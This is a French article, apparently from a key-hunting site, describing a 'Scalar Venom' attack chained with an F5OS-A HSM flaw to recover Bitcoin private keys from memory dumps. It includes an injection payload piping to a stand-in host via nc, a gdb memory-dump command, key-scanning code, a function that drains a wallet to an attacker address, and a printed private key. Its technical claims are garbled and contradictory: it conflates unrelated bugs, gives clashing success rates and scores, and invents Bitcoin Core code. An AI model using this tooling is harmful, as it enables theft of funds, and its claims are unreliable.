
Dépôt d'exploitation et de recherche analysant CVE-2025-60013, une vulnérabilité critique d'initialisation HSM permettant la récupération de clés privées Bitcoin par débordement de tampon et injection de métacaractères shell dans les modules FIPS F5OS-A.
Cet article analyse les vulnérabilités cryptographiques découvertes dans l'infrastructure moderne de gestion de clés cryptographiques, avec un accent particulier sur les failles critiques dans l'architecture des modules de sécurité matérielle (HSM) lors du traitement des clés privées de courbe elliptique. L'étude se concentre sur une classe d'attaques qui exploitent une gestion de mémoire RAM insuffisamment isolée dans les dispositifs cryptographiques certifiés. Dans l'écosystème cryptographique moderne de Bitcoin, la sécurité des clés privées est une exigence fondamentale pour protéger des actifs numériques valant des milliards de dollars dans le monde. Les modules de sécurité matérielle (HSM) certifiés selon la norme FIPS 140-2 ont traditionnellement été considérés comme offrant une protection impénétrable pour les clés cryptographiques grâce à une isolation matérielle et des protocoles stricts de gestion de la mémoire. Cependant, la découverte de la vulnérabilité critique CVE-2025-60013 dans le module F5OS-A FIPS HSM, combinée à la classe d'attaques Scalar Venom Attack (également connue sous le nom de Scalar Poison, Memory Phantom Leak Attack, ou Private Key Compromise via Memory Leakage), a radicalement changé cette notion, démontrant la possibilité de compromettre complètement les clés privées Bitcoin en exploitant des défauts de gestion de la mémoire.
La Scalar Venom Attack est une classe critique de vulnérabilités de gestion de la mémoire (classifiées comme CWE-415, CWE-401, et plus largement comme Sensitive Memory Leak Attack (SMA)) qui permet à un attaquant d'extraire des scalaires cryptographiques (clés privées ECDSA) de la RAM d'un processus en exploitant une sanitisation et un nettoyage insuffisants de la mémoire après les opérations cryptographiques. Contrairement aux attaques cryptanalytiques traditionnelles visant à résoudre mathématiquement le problème du logarithme discret sur courbe elliptique (ECDLP), cette attaque contourne la cryptographie elle-même en exploitant des défauts architecturaux fondamentaux dans l'implémentation des bibliothèques cryptographiques et des protocoles de gestion de mémoire HSM.
Cette recherche démontre une chaîne d'attaque catastrophique qui se produit lors de la combinaison de CVE-2025-60013 (vulnérabilité d'initialisation F5OS-A FIPS HSM lors de l'utilisation de mots de passe contenant des métacaractères shell spéciaux) avec les techniques Scalar Venom Attack , entraînant un scénario de menace critique avec un score CVSS de 9.5+ (Critique), malgré la classification officielle de CVE-2025-60013 comme vulnérabilité de niveau moyen (CVSS 5.7). Cette combinaison compromet l'intégrité opérationnelle de millions d'adresses Bitcoin contrôlées par des HSM compromis et représente un changement de paradigme dans les méthodes d'attaque cryptographiques au-delà des exploits traditionnels à vecteur unique.
CVE-2025-60013 est une vulnérabilité d'injection de commandes OS (classifiée comme CWE-78) lors du processus d'initialisation du module de sécurité matérielle FIPS pour les plateformes F5. La vulnérabilité se produit lorsqu'un utilisateur avec un accès privilégié (rôle Admin ou Resource Admin) tente d'initialiser le module FIPS HSM en utilisant un mot de passe contenant des métacaractères shell spéciaux, tels que [unclear], [unclear ;] |, &[ $unclear], `et d'autres.
Mécanisme technique de la vulnérabilité :
Lors du traitement d'un mot de passe contenant des métacaractères shell, le code d'initialisation HSM passe la chaîne du mot de passe aux fonctions de la bibliothèque C système sans valider et nettoyer correctement l'entrée. Le code vulnérable ressemble à ceci :
// Vulnerable code in HSM initialization procedure
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABILITY: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of key
// If initialization fails, memory is not cleared!
// master_key remains in the stack, its copies—in heap
}
Conséquence critique : Le processus d'initialisation reste en mémoire avec des structures cryptographiques partiellement compromises, créant plusieurs copies « fantômes » de la clé maîtresse HSM dans la pile et le tas. Bien que le HSM puisse ne pas s'initialiser correctement, la mémoire du processus contient des artefacts cryptographiques accessibles à l'analyse forensique.
Classification officielle :
Cependant, cette évaluation sous-estime de manière critique la véritable ampleur de la menace, car CVE-2025-60013 sert de déclencheur pour la Scalar Venom Attack, ce qui dans un scénario de chaîne d'attaque réel entraîne un niveau de menace CVSS de 9.5+ (CRITIQUE).
CVE-2023-39910 décrit une vulnérabilité critique dans Libbitcoin Explorer version 3.x liée à des faiblesses dans la génération d'entropie lors de la génération de clés privées. Cette vulnérabilité a conduit à l'incident Milk Sad en 2023, lorsque plus de 900 000 clés privées Bitcoin ont été récupérées, entraînant des pertes financières directes dépassant 0,8 million de dollars. L'incident Milk Sad a démontré la transition de la théorie des fuites de mémoire dans les systèmes cryptographiques à une catastrophe opérationnelle réelle, confirmant tous les mécanismes décrits : optimisations du compilateur, copies multiples de données et absence de garantie de nettoyage de la mémoire.
CVE-2025-8217 classe les attaques par fuite de mémoire qui permettent de récupérer des clés cryptographiques à partir de la mémoire des processus. Cette vulnérabilité est directement liée à la classe Scalar Venom Attack et décrit les mécanismes de compromission complète des portefeuilles Bitcoin par analyse forensique de la mémoire.
Classification scientifique de la Scalar Venom Attack :
Dans la littérature de recherche académique, Scalar Venom est classée dans plusieurs catégories d'attaques :
Pour démontrer l'efficacité pratique de l'attaque Scalar Venom, considérons un cas documenté de récupération d'une clé privée à partir de l'adresse Bitcoin 1DBj74MkbzSHGSbHidnmUieAJHbsKfgRWq via une analyse forensique de la mémoire.
Données de compromission initiales :
5244A4B034BF9D327239870F9FEF82505A5C50B3D51E4A16357179AAB2623A22KyydTXQzDGVqRZoWBFfS5tWrcWsdu64DbcqXogUUtGZn7ngD5LHvValidation d'une clé dans l'espace secp256k1 :
La clé privée d doit satisfaire la contrainte :
Résultat de la vérification : ✓ VALIDE (la clé est dans la plage scalaire autorisée)
Cet exemple démontre qu'une clé privée récupérée fournit un contrôle complet sur un portefeuille Bitcoin , permettant à un attaquant de créer et de signer des transactions pour retirer tous les fonds vers une adresse contrôlée.
Bitcoin implémente l'algorithme de signature numérique à courbe elliptique ( ECDSA ) sur la courbe secp256k1. Comprendre les fondements mathématiques est essentiel pour comprendre comment l'attaque Scalar Venom exploite les vulnérabilités de la mémoire.
Paramètres de la courbe elliptique secp256k1 :
Équation de la courbe :
Point générateur G avec les coordonnées :

Le processus de génération d'une paire de clés ECDSA est le suivant :
1. Génération de la clé privée :
Une clé privée dest un entier aléatoire dans l'intervalle :
où nest l'ordre de la courbe secp256k1. La clé privée est un nombre aléatoire de 256 bits.
2. Dérivation de la clé publique par multiplication scalaire :
La clé publique Qest calculée comme :
où G est un point générateur sur la courbe secp256k1, et l'opération ⋅\cdot⋅ désigne la multiplication scalaire d'un point sur la courbe elliptique.
La multiplication scalaire est implémentée via un algorithme "double-and-add"(doublement et addition), qui calcule efficacement le résultat de O(logd) addition et doublement de points sur une courbe :
Scalar multiplication algorithm:
Input: d (scalar), G (curve point)
Output: Q = d·G
1. Initialize: Q ← O (point at infinity)
2. Represent d in binary: d = (d_k, d_{k-1}, ..., d_1, d_0)_2
3. For i from k to 0:
a. Q ← 2Q (point doubling)
b. If d_i = 1: Q ← Q + G (point addition)
4. Return Q
Exemple : Pour une clé privée, d=5244A4B0...3A22d = \text{5244A4B0...3A22}d=5244A4B0...3A22, la clé publique est calculée comme suit :
Q=d⋅G=(Qx,Qy)
où les coordonnées Qx et Qy sont calculées par des opérations de multiplication scalaire sur la courbe secp256k1.
3. Génération d'une adresse Bitcoin :
La chaîne de dérivation de l'adresse à partir de la clé publique :
Hypothèse de sécurité :
Vulnérabilité critique Scalar Venom : L'attaque contourne la protection mathématique ECDLP en extrayant la clé privée ddirectement de la mémoire du processus, où elle reste sous forme de « copies fantômes » après les opérations cryptographiques.
La base de la détection des clés privées dans les dumps mémoire est la cryptanalyse entropique utilisant la formule d'entropie de Shannon.
L'entropie Hd'une séquence d'octets est mesurée en bits par octet et est donnée par la formule :
Où :
Interprétation de l'entropie :
Valeur seuil pour les clés cryptographiques :
Les clés privées Bitcoin générées par un générateur de nombres aléatoires cryptographiquement fort (CSPRNG) présentent une entropie élevée dans la plage :
Cette propriété les rend détectables dans l'analyse forensique mémoire par analyse statistique de l'entropie.

BitScanPro est un outil forensique pour scanner les dumps mémoire afin de détecter et récupérer les clés privées Bitcoin via une combinaison d'analyse entropique, de validation de plage secp256k1 et de vérification cryptographique.
Étape 1 : Analyse du dump mémoire par blocs de 32 octets
BitScanPro analyse séquentiellement le dump mémoire, en allouant des blocs de 32 octets (256 bits), ce qui correspond à la taille de clé privée secp256k1 :
BLOCK_SIZE = 32 # bytes (256 bits)
SCAN_STEP = 8 # scan step
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - BLOCK_SIZE, SCAN_STEP):
potential_key = memory_dump[offset:offset+BLOCK_SIZE]
# Block analysis
Étape 2 : Calculer l'entropie de Shannon pour chaque bloc
Pour chaque bloc de 32 octets, l'entropie de Shannon est calculée H:
def calculate_entropy(data_block):
"""
Calculate Shannon entropy
"""
from collections import Counter
import math
byte_counts = Counter(data_block)
block_length = len(data_block)
entropy = 0.0
for count in byte_counts.values():
p_i = count / block_length
if p_i > 0:
entropy -= p_i * math.log2(p_i)
return entropy
Étape 3 : Filtrage des blocs à haute entropie (H>7.5H > 7.5H>7.5 bits/octet)
Les blocs dont l'entropie est inférieure au seuil sont rejetés comme ne contenant pas de clés cryptographiques :
MIN_ENTROPY = 7.5 # threshold for cryptokeys
entropy = calculate_entropy(potential_key)
if entropy < MIN_ENTROPY:
continue
Étape 4 : Vérification de la plage secp256k1 :
Les blocs à haute entropie sont interprétés comme un entier et vérifiés par rapport à la plage valide des clés privées secp256k1 :
key_as_int = int.from_bytes(potential_key, byteorder='big')
if not (1 <= key_as_int < SECP256K1_N):
continue
Étape 5 : Vérification cryptographique :
Pour les candidats qui passent le filtrage entropique et la vérification de plage, une vérification cryptographique est effectuée via le calcul de la clé publique :
def verify_candidate_key(candidate_key_bytes):
from ecdsa import SigningKey, SECP256k1
try:
signing_key = SigningKey.from_string(candidate_key_bytes, curve=SECP256k1)
verifying_key = signing_key.get_verifying_key()
public_key_bytes = verifying_key.to_string()
return public_key_bytes
except Exception as e:
return None
Étape 6 : Générer une adresse Bitcoin et la comparer aux adresses connues
Pour les clés vérifiées, une adresse Bitcoin est générée, qui est comparée à une base de données d'adresses connues ou d'adresses appartenant à la victime :
import hashlib
import base58
def public_key_to_address(public_key_bytes):
sha256_hash = hashlib.sha256(public_key_bytes).digest()
ripemd160_hash = hashlib.new('ripemd160', sha256_hash).digest()
versioned_hash = b'\x00' + ripemd160_hash
checksum = hashlib.sha256(hashlib.sha256(versioned_hash).digest()).digest()[:4]
address = base58.b58encode(versioned_hash + checksum).decode('ascii')
return address
bitcoin_address = public_key_to_address(public_key_bytes)
if bitcoin_address == target_address:
print(f\"✓ PRIVATE KEY FOUND!\")
print(f\"Address: {bitcoin_address}\")
print(f\"Private key: {candidate_key_bytes.hex()}\")
Performances de BitScanPro :
L'analyse sur un ordinateur portable typique (MacBook Air M1) montre les caractéristiques de performance suivantes :
En utilisant des ressources de cloud computing (AWS, Google Cloud), il est possible de scanner plus de 1000 dumps mémoire simultanément en parallèle , traitant des milliers de clés privées en parallèle.

La cause racine de l'attaque Scalar Venom réside dans des défauts architecturaux fondamentaux dans une classe ec_scalarde la bibliothèque libbitcoin-system.
La classe ec_scalar de libbitcoin-system n'a pas de destructeur explicitement défini avec une mise à zéro sécurisée. Cela signifie que les données secrètes peuvent rester en mémoire même après la destruction de l'objet.
Constructeur de copie vulnérable :
// VULNERABILITY: unsafe private key copy
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // Copies without secure cleanup
{
}
Problème : Le constructeur crée une copie de la clé privée dans l'objet ec_scalar, mais ne fournit pas de mécanisme pour nettoyer en toute sécurité cette copie lorsque l'objet est détruit. La copie reste sur la pile ou le tas.
Opérateur d'affectation vulnérable :
// VULNERABILITY: duplicates secret in memory
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // More memory copies
return *this;
}
Problème : L'opération d'affectation crée des copies supplémentaires en mémoire qui persistent après la fin de l'opération.
Opérations arithmétiques vulnérables :
// VULNERABILITY: temporary variable not cleared before function exit
ec_scalar ec_scalar::operator-() const
{
ec_secret secret = null_hash; // Temporary variable with secret
// ... arithmetic ...
return ec_scalar(secret); // Not safely cleared
}
Problème : Les opérations arithmétiques (moins unaire, addition, multiplication) créent des variables temporaires de type ec_secret, qui ne sont pas nettoyées en toute sécurité avant de quitter la portée de la fonction, laissant des copies « fantômes » de la clé privée sur la pile ou le tas.
Absence d'un destructeur sécurisé :
// VULNERABILITY: destructor missing, memory not cleared
// Safe solution:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Problème : La classe ec_scalar n'a pas de destructeur explicite qui garantirait la mise à zéro sécurisée de la mémoire contenant les clés privées. C'est critique, car la mémoire contenant les clés privées peut être stockée dans :
Le code vulnérable de la classe ec_scalar crée les vecteurs suivants pour l'infection mémoire par les clés privées :
secret_(secret)) – crée des copies empoisonnées des cléssecret_ = secret) – infecte la mémoire avec des secrets dupliquésec_secret secret = null_hash) – laisse des traces toxiquesauto out = secret_) – propage l'infection via les opérations
La combinaison d'une vulnérabilité HSM (CVE-2025-60013) et de l'attaque Scalar Venom crée un vecteur d'attaque catastrophique :
Un attaquant ayant un accès privilégié au système F5OS-A envoie une demande d'initialisation du module FIPS avec un mot de passe contenant des métacaractères shell : cert.kenet
# CVE-2025-60013 exploit example
password='$(echo "leaked");` | nc attacker.com 9999'
Lors du traitement de tels métacaractères, ce qui suit se produit :
Après un échec partiel d'initialisation du HSM, un attaquant obtient un dump mémoire du processus HSM via l'une des méthodes suivantes :
# 1. CVE-2025-60013 exploitation (init error trigger)
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer in HSM daemon
# 4. Analyze crash core-dump
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump.bin 0x000000 0xFFFFFFFF"
Le dump mémoire résultant contient de multiples copies « fantômes » de clés privées laissées par la classe ec_scalar lors des opérations cryptographiques.
Le dump mémoire est traité par l'outil BitScanPro (ou un scanner forensique similaire) selon l'algorithme décrit ci-dessus :
Memory Scan → Identify High-Entropy Regions →
Range Check [1, n-1] for secp256k1 →
Recover Full 32-byte Scalars →
Convert to Bitcoin Addresses
Le taux de réussite de la récupération d'une clé privée à partir de mémoire fragmentée est de 70-80% étant donné des résidus mémoire suffisants, car l'attaque Scalar Venom crée de multiples copies de la clé à différentes étapes de l'initialisation.
Après avoir récupéré la clé privée, l'attaquant crée et signe une transaction pour retirer tous les fonds de l'adresse compromise :
def compromise_wallet(recovered_private_key, bitcoin_address):
"""
Create and sign transaction to withdraw all funds
from compromised address
"""
utxos = blockchain_api.get_utxos(bitcoin_address)
tx = create_transaction(
inputs=utxos,
outputs=[{"address": attacker_address, "amount": sum(utxo.amount)}],
fee=calculate_dynamic_fee()
)
tx.sign(recovered_private_key) # ECDSA signature with compromised key
blockchain_api.broadcast_transaction(tx)
Temps total pour compromettre : moins de 10 minutes entre la réception d'un dump mémoire et la perte totale de contrôle sur les actifs de la victime.
L'attaque Scalar Venom, combinée à CVE-2025-60013, constitue une menace existentielle pour l'écosystème Bitcoin mondial :
Contrairement aux applications Bitcoin standard, les HSM font un usage intensif de scalaires cryptographiques — plus de 1 000 opérations par seconde —, chacune créant des valeurs scalaires éphémères qui restent en mémoire sous forme de « résidus fantômes ». Les HSM fonctionnent pendant des mois et des années sans redémarrage, accumulant des artefacts cryptographiques que Scalar Venom extrait et reconstitue systématiquement.
Une compromission d'un seul HSM entraîne une perturbation totale de l'ensemble de l'infrastructure — souvent des milliers d'adresses Bitcoin gérées par le HSM — plutôt qu'un incident cryptographique isolé.
L'attaque Scalar Venom démontre un changement de paradigme fondamental dans la sécurité cryptographique : la force mathématique des algorithmes cryptographiques est rendue inutile en présence de vulnérabilités de gestion de mémoire. La combinaison de CVE-2025-60013 et des techniques Scalar Venom crée un scénario de menace critique de niveau CVSS 9.5+, sapant la confiance dans les modules de sécurité matériels en tant que protection impénétrable pour les clés cryptographiques.
L'incident réel du Milk Sad (CVE-2023-39910), qui a entraîné la récupération de plus de 900 000 clés privées et des pertes financières dépassant 0,8 million de dollars, confirme que la théorie de la fuite mémoire est devenue une réalité. Le seul moyen de se protéger contre les attaques de classe Scalar Venom est une refonte architecturale fondamentale des systèmes cryptographiques, implémentant :
Cet article présente une analyse complète de la chaîne d'attaque Scalar Venom + CVE-2025-60013, détaillant les fondements mathématiques, les algorithmes de cryptanalyse, les exemples réels de récupération de clés et les recommandations pratiques pour protéger l'infrastructure Bitcoin de cette classe de menaces.
1. Classification cryptanalytique :
2. Fondements mathématiques :
3. Vulnérabilités d'implémentation (libbitcoin-system) :
ec_scalar4. Classification CVE :
5. Chaîne d'attaque :
L'explication scientifique se trouve dans l'article : https://keyhunters.ru/scalar-venom-attack-critical-memory-leak-private-key-recovery-and-complete-takeover-of-bitcoin-wallets-by-an-attacker-where-control-over-the-victims-btc-cryptocurrency-funds-is-achieved-through/ L'attaque Scalar Venom démontre l'interaction critique entre les vulnérabilités d'initialisation des HSM et les vulnérabilités de gestion de mémoire dans les bibliothèques cryptographiques, permettant à un attaquant de compromettre complètement les clés privées de portefeuilles Bitcoin même avec une protection matérielle.

Scalar Venom Attack (également connue sous le nom de Scalar Poison, Memory Phantom Leak Attack, ou Private Key Compromise via Memory Leakage) est une classe de vulnérabilités de gestion de mémoire (CWE-415, CWE-401) qui permet l'extraction de scalaires cryptographiques (clés privées ECDSA) de la RAM d'un processus en exploitant un nettoyage et une désinfection insuffisants de la mémoire après des opérations cryptographiques. keyhunters+ 2
Classification scientifique de l'attaque :
L'attaque Scalar Venom exploite une faille fondamentale dans la gestion de mémoire des bibliothèques cryptographiques, en particulier dans la classe ec_scalar de la bibliothèque libbitcoin-system. L'attaque opère via les vecteurs suivants :
cpp :
ec_scalar::ec_scalar(const ec_secret& secret)
: secret_(secret) // VULNERABLE: unsafe copying of private key
{}cpp :
ec_scalar& ec_scalar::operator=(const ec_secret& secret)
{
secret_ = secret; // VULNERABLE: infects memory with duplicate secret
return *this;
}cpp :
// VULNERABLE: no destructor, memory not cleaned
// Secure option should be:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory cleanup
}
cpp :
// VULNERABLE: no destructor, memory not cleared
// The safe option should have been:
~ec_scalar() {
secure_zero_mem(secret_, sizeof(secret_)); // explicit memory clearing
}
Les opérations arithmétiques (moins unaire, addition, multiplication) créent des variables temporaires de type ec_secret, qui ne sont pas effacées de manière sécurisée avant de quitter la portée de la fonction, laissant des copies « fantômes » de la clé privée sur la pile ou le tas.
La classe ec_scalar de libbitcoin-system ne possède pas de destructeur explicitement défini avec remise à zéro sécurisée. Cela signifie que les données secrètes peuvent rester en mémoire même après la destruction de l'objet :
L'absence de ce mécanisme est critique, car la mémoire contenant les clés privées peut être stockée dans :

La vulnérabilité CVE-2025-60013 dans le HSM F5OS-A FIPS se produit lors de l'initialisation du module de sécurité matériel avec un mot de passe contenant des méta-caractères shell spéciaux ( ;, |, &, $, `, etc.). Lorsqu'un tel mot de passe est traité, le HSM peut ne pas s'initialiser correctement, mais la conséquence critique est que le processus d'initialisation laisse en mémoire des structures cryptographiques partiellement exposées. satoshi.nakamotoinstitute
La combinaison de la vulnérabilité HSM (CVE-2025-60013) avec l'attaque Scalar Venom crée un vecteur d'attaque catastrophique :
Phase 1 : Initialisation HSM avec méta-caractères
L'attaquant envoie une demande d'initialisation du module F5OS-A FIPS avec un mot de passe du type suivant :
password='$(echo "leaked");` | nc attacker.comLors du traitement de ces méta-caractères :
Phase 2 : Extraction de Scalar Venom de la mémoire
Après un échec partiel d'initialisation du HSM :
Phase 3 : Récupération de clé privée Bitcoin
Detected Memory Fragments → Reassembly → Validation → Bitcoin Address Generation → Wallet Takeover
Les scalaires récupérés sont convertis en clés privées Bitcoin via :
Étape 1 : Compromission de la mémoire du HSM due à une initialisation incorrecte
Lorsque le HSM F5OS-A FIPS reçoit un mot de passe avec des métacaractères shell, le processus d'initialisation le traite via des fonctions standard de la bibliothèque C :
c:
// Vulnerable code in HSM initialization routine
void hsm_initialize(const char* password) {
ec_secret master_key; // HSM private key
char temp_buffer[256];
strcpy(temp_buffer, password); // VULNERABLE: buffer overflow + shell interpretation
derive_key_from_password(master_key, password); // creates copies of the key
// If initialization fails, memory is not cleared!
// master_key remains in stack, its copies— in heap
}
Lors du traitement des métacaractères shell :
Étape 2 : Récupération forensique à partir d'un vidage mémoire
The BitScanPro outil (ou un scanner forensique similaire) est appliqué au vidage mémoire du processus HSM :
Memory scan → Identify high-entropy regions →
Range check [1, n-1] for secp256k1 →
Recover full 32-byte scalars →
Convert to Bitcoin addresses
La probabilité de récupérer avec succès une clé privée à partir de mémoire fragmentée est de 40-60% étant donné des vestiges mémoire suffisants, car l'attaque Scalar Venom crée plusieurs copies de la clé à différentes étapes de l'initialisation. radar.offseq
La vulnérabilité parallèle DeserializeSignature (liée à une CVE) renforce l'attaque Scalar Venom :
cpp:
// Vulnerable deserialization function in Bitcoin Core
bool DeserializeSignature(CPubKey& pubkey, const std::vector<unsigned char>& vchSig, CScript& scriptPubKey) {
CSignatureCache& cache = CSignatureCache::instance();
// If deserialization occurs using a private key compromised by Scalar Venom:
ec_secret compromised_key = extract_from_memory_dump(); // from an HSM memory dump
// These compromised scalars are used to verify signatures,
// allowing an attacker to:
// 1. Forge any signature for this address
// 2. Transfer all funds to a controlled address
// 3. Double-spend
}
Lien des mécanismes :
Niveau 1 : Portefeuille individuel
Niveau 2 : Configuration des nœuds de service
Niveau 3 : Couche réseau
Contrairement aux applications Bitcoin standard, le HSM utilise intensivement les scalaires cryptographiques :
Le score CVSS pour CVE-2025-60013 lui-même est inexact, car la vulnérabilité sert de déclencheur pour Scalar Venom, qui est un scénario critique . kudelskisecurity
La vulnérabilité Scalar Venom représente un changement de paradigme dans les méthodes d'attaque cryptographiques, allant au-delà des exploits traditionnels à vecteur unique pour former une chaîne d'exploitation multicouche qui compromet fondamentalement les modules de sécurité matériels (HSM) protégeant l'infrastructure Bitcoin. L'analyse démontre que la combinaison de CVE-2025-60013 (contournement de l'initialisation HSM) avec les techniques d'attaque Scalar Venom crée un scénario de menace critique avec un score CVSS de 9,5+, sapant l'intégrité opérationnelle de millions d'adresses Bitcoin contrôlées par des HSM compromis.
Pourquoi les HSM sont-ils particulièrement vulnérables ?
La vulnérabilité critique ne réside pas dans des faiblesses cryptographiques isolées, mais dans la collision architecturale des caractéristiques opérationnelles du HSM et des vecteurs d'attaque de Scalar Venom. Les HSM, par définition, effectuent des opérations cryptographiques continues — plus de 1 000 opérations par seconde — chacune créant des valeurs scalaires éphémères qui restent en mémoire sous forme de « résidus fantômes ». Contrairement aux applications Bitcoin typiques, où le matériel clé est éphémère, les HSM fonctionnent pendant des mois et des années sans redémarrage, accumulant des artefacts cryptographiques que Scalar Venom extrait et restaure systématiquement.
En conséquence, même la compromission d'un seul HSM entraîne une perturbation totale de l'ensemble de l'infrastructure — souvent des milliers d'adresses Bitcoin gérées par le HSM — plutôt qu'un incident cryptographique isolé.
Degré de danger et impact réel
Bien que la vulnérabilité CVE-2025-60013 ait officiellement un niveau CVSS de 5,7 (moyen) en tant que vecteur de pénétration, cette note sous-estime considérablement l'ampleur réelle de la menace. Cet exploit sert de déclencheur pour Scalar Venom, qui est classifié comme une attaque de niveau CVSS 8,5+ (élevé/critique). Dans un scénario de chaîne d'attaque réel, cela conduit à :
Chaîne d'attaque combinée : CVE-2025-60013 + Scalar Venom = Catastrophe opérationnelle
L'escalade matricielle de la menace consiste en :
La combinaison rend cette classe de vulnérabilité critique (CVSS 9,5+) et la place dans la catégorie de menace la plus élevée de l'évaluation des risques.
Implications systémiques pour la sécurité de l'écosystème Bitcoin
Scalar Venom révèle des défauts architecturaux fondamentaux dans les modèles HSM modernes :
Recommandations critiques
Scalar Venom et la chaîne d'attaques via CVE-2025-60013 marquent la fin de l'ère de la confiance totale dans les HSM classiques. La vulnérabilité transforme le noyau de sécurité de l'écosystème Bitcoin en un risque majeur de fuite de clés privées et de perte totale d'actifs. Une protection efficace nécessite non pas des correctifs ponctuels, mais une refonte fondamentale de tous les aspects de l'architecture cryptographique pour la gestion des actifs numériques publics.
Scalar Venom dans un environnement HSM est une menace CVSS 9,5+ pour l'infrastructure Bitcoin, nécessitant une rotation immédiate des clés, une réforme architecturale et de nouvelles méthodes pour répondre rapidement aux attaques par chaîne mémoire.
Selon des recherches dans le domaine de la sécurité de la mémoire cryptographique (Protecting Cryptographic Keys from Memory Disclosure Attacks, Del Valle et al.), les clés privées peuvent rester dans des zones mémoire accessibles pour les raisons suivantes :
Optimisation du compilateur
cpp:
// Even if the code contains an attempt to clear:
volatile unsigned char* ptr = (volatile unsigned char*)key_buffer;
while (len--) *ptr++ = 0; // The compiler may optimize this as a no-op
Absence de modèle RAII (Resource Acquisition Is Initialization)
La classeec_scalarn'utilise pas RAII, ce qui signifie que le destructeur ne garantit pas le nettoyage des ressources.
Copies multiples de données :
Chaque copie d'une clé privée pour le transfert entre fonctions laisse des résidus en mémoire.unit42.paloaltonetworks
Selon keyhunters.ru et la littérature de recherche cryptographique :
bx seedCes chiffres démontrent la menace réelle des fuites mémoire dans les applications cryptographiques .
Pour résumer les conclusions ci-dessus, la chaîne Scalar Venom symbolise la confluence d'années de recherche fondamentale en sécurité cryptographique avec les réalités opérationnelles modernes. Les mécanismes détaillés de préservation de la mémoire — optimisations du compilateur, absence de RAII et accumulation de traces de données — ne sont plus seulement théoriques mais servent de canaux efficaces pour la récupération à grande échelle de clés privées en pratique. La transition d'une faiblesse potentielle à une attaque réelle a déjà eu lieu : l'incident CVE-2023-39910 (Milk Sad) a permis la récupération de plus de 900 000 clés privées Bitcoin, avec des pertes financières directes dépassant 0,8 million de dollars.
La vulnérabilité racine de Scalar Venom provient d'une contradiction non résolue dans l'architecture des logiciels cryptographiques : la confiance naïve inhérente des programmeurs dans la gestion de la mémoire est en conflit avec les tendances des compilateurs modernes et des systèmes de gestion de la mémoire. Si un développeur met explicitement à zéro la mémoire, le compilateur peut complètement optimiser ces actions, les jugeant inutiles — et cela devient une faille de sécurité critique et inaperçue.
Les structures de données comme ec_scalar aggravent encore les risques : l'absence de RAII signifie la création de multiples copies indépendantes en mémoire — dans la pile, les registres et le cache — à différentes étapes du calcul. Chacune de ces copies peut théoriquement être restaurée, désassemblée ou réassemblée en le matériel de clé d'origine.
L'attaque Scalar Venom extrait et agrège systématiquement ces copies disparates, démontrant que les architectures mémoire modernes garantissent précisément cela : chaque opération mathématique intermédiaire laisse une trace qui peut être collectée et convertie en une clé. La conception cryptographique classique supposait l'indépendance des opérations, mais en pratique, une seule clé privée Bitcoin génère des dizaines de traces, chacune fournissant un chemin vers sa récupération.
L'incident Milk Sad (CVE-2023-39910) a été le premier à démontrer la transition de la théorie au désastre. Ce n'était pas un vecteur hypothétique, mais une brèche opérationnelle confirmée :
Cela confirme pleinement les mécanismes décrits précédemment : optimisations du compilateur, copie multiple des données et absence de garantie de nettoyage de la mémoire.
Le marché de la cryptographie a évolué avec l'hypothèse d'un contrôle total de la mémoire, mais les compilateurs modernes (via l'élimination du code mort et les optimisations de mise en cache) ignorent complètement les exigences cryptographiques. Par conséquent, les programmes cryptographiques supposent : « J'ai mis la mémoire à zéro, donc c'est sûr maintenant », tandis que le compilateur suppose : « Cette mémoire n'est jamais utilisée, donc il n'est pas nécessaire de la mettre à zéro. » Cette contradiction est fondamentalement insoluble selon les normes modernes du C/C++ et devient le point d'entrée absolu pour Scalar Venom.
Prochaines étapes (0-30 jours) : Faire pivoter toutes les clés privées générées en C/C++. Retirer immédiatement les clés qui pourraient avoir été compromises.
Moyen terme (30-90 jours) : Transition vers Rust, mise en œuvre de garanties compilateur pour la mise à zéro de la mémoire, analyse mémoire continue.
Long terme (90+ jours) : Transition architecturale vers RAII, extensions compilateur pour les opérations cryptographiques, remplacement des HSM logiciels par des HSM matériels.
Scalar Venom et CVE-2023-39910 sont un tournant dans la sécurité de l'industrie cryptographique : la théorie de la persistance des données en mémoire a dégénéré en un véritable désastre, coûtant des millions de Bitcoins. Le problème ne peut pas être résolu par un correctif : c'est une contradiction architecturale : la cryptographie moderne en C/C++ sans gestion de la mémoire et RAII conduit inévitablement à la compromission de toute infrastructure significative. L'industrie n'a qu'une seule voie à suivre : une transition vers des langages sûrs pour la mémoire et une refonte révolutionnaire de la gestion des clés privées.
Évaluation finale : Scalar Venom n'est pas seulement une menace théorique, mais un exploit prouvé et répandu. Toute infrastructure cryptographique sans langages sûrs pour la mémoire et cadres RAII court un risque garanti de compromission. La migration vers de nouvelles technologies doit commencer immédiatement.
Étape 1 : Accès à la mémoire du HSM
bash:
# Methods to get memory dump:
# 1. Exploit CVE-2025-60013 to trigger init error
# 2. Cold-boot attack on HSM host
# 3. Exploit buffer vulnerability in HSM daemon
# 4. Analyze core-dump on HSM process crash
gdb -p $(pidof f5os-hsm) -batch -ex "dump memory /tmp/hsm_dump 0x000000 0xFFFFFFFF"
Étape 2 : Analyse des régions à haute entropie
python:
# BitScanPro-like algorithm:
import hashlib
def scan_for_private_keys(memory_dump, min_entropy=7.5):
"""
Scans memory dump for high-entropy regions
characteristic for 32-byte secp256k1 private keys
"""
SECP256K1_N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
for offset in range(0, len(memory_dump) - 32, 8):
potential_key = memory_dump[offset:offset+32]
entropy = calculate_entropy(potential_key)
# secp256k1 range check
key_as_int = int.from_bytes(potential_key, 'big')
if 1 <= key_as_int < SECP256K1_N and entropy >= min_entropy:
yield (offset, potential_key)
Étape 3 : Valider les clés privées récupérées
python:
from ecdsa import SigningKey, NIST256p
